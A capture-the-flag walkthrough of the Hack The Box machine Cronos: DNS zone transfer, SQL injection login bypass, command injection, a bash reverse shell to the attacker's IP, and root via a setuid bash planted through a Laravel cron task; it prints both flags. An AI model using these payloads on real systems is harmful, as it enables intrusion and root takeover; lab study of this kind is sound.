

Cronos - 10.10.10.13

Enumeration

Nmap


```
nmap -sC -sV -oA nmap/initial 10.10.10.13
```

```
# Nmap 7.91 scan initiated Thu Apr 29 13:00:15 2021 as: nmap -sC -sV -T4 -oA nmap/initial
  => 10.10.10.13
Nmap scan report for 10.10.10.13
Host is up (0.24s latency).
Not shown: 997 filtered ports
PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0)
|_ ssh-hostkey:
|_  2048 18:b9:73:82:6f:26:c7:78:8f:1b:39:88:d8:02:ce:e8 (RSA)
|_  256 1a:e6:06:a6:05:0b:bb:41:92:b0:28:bf:7f:e5:96:3b (ECDSA)
|_  256 1a:0e:e7:ba:00:cc:02:01:04:cd:a3:a9:3f:5e:22:20 (ED25519)
53/tcp    open  domain   ISC BIND 9.10.3-P4 (Ubuntu Linux)
|_ dns-nsid:
|_  bind.version: 9.10.3-P4-Ubuntu
80/tcp    open  http     Apache httpd 2.4.18 ((Ubuntu))
|_ http-server-header: Apache/2.4.18 (Ubuntu)
|_ http-title: Apache2 Ubuntu Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Apr 29 13:00:45 2021 -- 1 IP address (1 host up) scanned in 30.63 seconds
```

Website

Going to the <http://10.10.10.13>, it is a default apache webpage.



DNS Enumeration

Since port 53 is open and dns is setup, the machine could have some virtual host routing setup.

```

$ nslookup
# the server is setup, this will define where the queries are sent
> server 10.10.10.13
Default server: 10.10.10.13
Address: 10.10.10.13#53
# the server is told to query itself on localhost
> 127.0.0.1
1.0.0.127.in-addr.arpa name = localhost.
# the server is told to query the public ip address
> 10.10.10.13
13.10.10.10.in-addr.arpa name = ns1.cronos.htb.
  
```

A dns entry is revealed with a subdomain.

```

$ dig axfr cronos.htb @10.10.10.13
; <<>> DiG 9.16.13-Debian <<>> axfr cronos.htb @10.10.10.13
;; global options: +cmd
cronos.htb. 604800 IN SOA cronos.htb. admin.cronos.htb. 3 604800 86400
    2419200 604800
cronos.htb. 604800 IN NS ns1.cronos.htb.
cronos.htb. 604800 IN A 10.10.10.13
admin.cronos.htb. 604800 IN A 10.10.10.13
ns1.cronos.htb. 604800 IN A 10.10.10.13
www.cronos.htb. 604800 IN A 10.10.10.13
  
```


```
cronos.htb.      604800  IN      SOA      cronos.htb. admin.cronos.htb. 3 604800 86400
↳ 2419200 604800
;; Query time: 788 msec
;; SERVER: 10.10.10.13#53(10.10.10.13)
;; WHEN: Thu Apr 29 13:53:24 EDT 2021
;; XFR size: 7 records (messages 1, bytes 203)
```

Several domains are revealed when looking for dns zone transfers

- cronos.htb
- www.cronos.htb
- admin.cronos.htb
- ns1.cronos.htb

The above domains are added to the `/etc/hosts` file.


ns1.cronos.htb




www.cronos.htb, cronos.htb



admin.cronos.htb



After trying basic SQL injection `admin' or 1=1 --` in the login page, the attacker can bypass the login.




Net Tool v0.1

traceroute ▾ 8.8.8.8 Execute!

[Sign Out](#)

The attacker can execute code when trying command injection payload `};ls` in the input field.



Net Tool v0.1

traceroute ▾ 8.8.8.8;ls Execute!


config.php
index.php
logout.php
session.php
welcome.php

[Sign Out](#)

Exploitation

Getting a reverse shell

Intercepting the post request on burp, commands can be easily executed on the server.




The screenshot shows a web browser's developer tools interface. On the left, the 'Request' tab is active, displaying a POST request to /welcome.php. The request body contains the command 'command=ls'. On the right, the 'Response' tab is active, showing the HTML response from the server. The response includes a form with a 'command' input field and a 'Submit' button. The response also includes a list of files: config.php, index.php, logout.php, session.php, and welcome.php. The 'command' input field and the file list are highlighted with red boxes.

The tools used here to generate quick reverse shell is called [rsg](#) or [reverse shell generator](#)

```
# generates payload and as well as listens on the specified port
rsg 10.10.14.23 8888 bash
```

The attacker then uploads the shell.php and sets up **nc** to listen for an incoming connection on port **8888**.

The command is first url encoded before sending it to the server.



Send Cancel <| ▾ >| ▾

Request

Raw Params Headers Hex

```
1 POST /welcome.php HTTP/1.1
2 Host: admin.cronos.htb
3 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.
4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=
5 Accept-Language: en-US,en;q=0.5
6 Accept-Encoding: gzip, deflate
7 Content-Type: application/x-www-form-urlencoded
8 Content-Length: 10
9 Origin: http://admin.cronos.htb
10 Connection: close
11 Referer: http://admin.cronos.htb/welcome.php
12 Cookie: PHPSESSID=97dfhn5votqiih7quc2mip7mf7
13 Upgrade-Insecure-Requests: 1
14
15 command=bash -c 'bash -i >& /dev/tcp/10.10.14.23/8888 0>&1'
```

The reverse shell is then stabilised using the following commands.

```
which python3 # to know which python version exists
python3 -c 'import pty;pty.spawn("/bin/bash")' # gets a proper tty shell
# the shell is then backgrounded using ctrl+z
stty raw -echo # this is executed on the attackers machine
# then press fg to resume the tty shell
export TERM=xterm # after setting the terminal type, the screen can now be cleared
stty rows 42 cols 172 # sets the size for the tty shell
```

Post Exploitation

Privilege Escalation to Root

After running LinEnum.sh from <https://github.com/rebootuser/LinEnum>, it is known that a cronjob is running on the server.

```

[-] Crontab contents:
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab`
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user  command
17 * * * * root    cd / && run-parts --report /etc/cron.hourly
25 6 * * * root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
* * * * * root    php /var/www/laravel/artisan schedule:run >> /dev/null 2>&1
#

```

Vulnerability Explanation:

Since the cronjob is ran as root, if the attacker can control a schedule task, it will be ran with root privileges. Upon researching, the file `/var/www/laravel/app/Console/Kernel.php` needs to be edited to add a task.

```
find / -name "Kernel.php" -ls 2>/dev/null
```

The file is owned by the user **www-data** and the current shell is as that specific user. Hence the attacker can modify the file as needed.

```

www-data@cronos:/dev/shm$ find / -name "Kernel.php" -ls 2>/dev/null
529989  4 -rw-r--r--  1 www-data www-data  819 Apr  9 2017 /var/www/laravel/app/Console/Kernel.php
529996  4 -rw-r--r--  1 www-data www-data 1983 Apr  9 2017 /var/www/laravel/app/Http/Kernel.php
150258 12 -rw-r--r--  1 www-data www-data 8400 Apr  3 2017 /var/www/laravel/vendor/laravel/framework/src/Illuminate
281118 12 -rw-r--r--  1 www-data www-data 8780 Apr  3 2017 /var/www/laravel/vendor/laravel/framework/src/Illuminate
806674  4 -rw-r--r--  1 www-data www-data 1042 Apr  3 2017 /var/www/laravel/vendor/laravel/framework/src/Illuminate
806702  4 -rw-r--r--  1 www-data www-data  880 Apr  3 2017 /var/www/laravel/vendor/laravel/framework/src/Illuminate
280441 24 -rw-r--r--  1 www-data www-data 23223 Apr  5 2017 /var/www/laravel/vendor/symfony/http-kernel/Kernel.php
www-data@cronos:/dev/shm$

```

source: <https://tutsforweb.com/how-to-set-up-task-scheduling-cron-job-in-laravel/>

Above code will select a random word from the array and send emails to every user with the word.

Registering the Command

Now that you have created the command, you will need to register it in the Kernel.

Go to **app/Console/Kernel.php** file that looks like this

```


1  <?php
2
3  namespace App\Console;
4
5  use Illuminate\Console\Scheduling\Schedule;
6  use Illuminate\Foundation\Console\Kernel as ConsoleKernel;
7
8  class Kernel extends ConsoleKernel
9  {

```

source: <https://vegibit.com/scheduling-commands-and-tasks-in-laravel/>

linux terminal commands

In addition to running artisan commands, you can run terminal commands using `exec()`. Here we will list the contents of a directory and send that output to a text file.



```

protected function schedule(Schedule $schedule)
{
    $schedule->exec('cd ~/Code/lpg && ls')
        ->everyMinute()
        ->sendOutputTo('/home/vagrant/Code/lpg/listing.txt');
}

```

```

protected function schedule(Schedule $schedule)
{
    // $schedule->command('inspire')
    // ->hourly();
    $schedule->exec('chmod u+s /bin/bash')->everyMinute();
}

```

After the setuid of **/bin/bash** when executing `bash -p`, the attacker can have the shell of the current user have an effective user ID or euid of root.

```

www-data@cronos:/var/www/admin$ bash -p
bash-4.3# id
uid=33(www-data) gid=33(www-data) euid=0(root) groups=33(www-data)
bash-4.3#

```

User.txt

```
find /home -type f -ls 2>/dev/null | grep user
```

User.txt can be found in the home directory of **noulis**.

```
cat /home/noulis/user.txt
```

```
bash-4.3# cat /home/noulis/user.txt  
51d236438b333970dbba7dc3089be33b  
bash-4.3#
```

user.txt flag: 51d236438b333970dbba7dc3089be33b

Root.txt

the **root.txt** file is always located in **/root/**

```
cat /root/root.txt
```

```
bash-4.3# cat /root/root.txt  
1703b8a3c9a8dde879942c79d02fd3a0  
bash-4.3#
```

root.txt flag: 1703b8a3c9a8dde879942c79d02fd3a0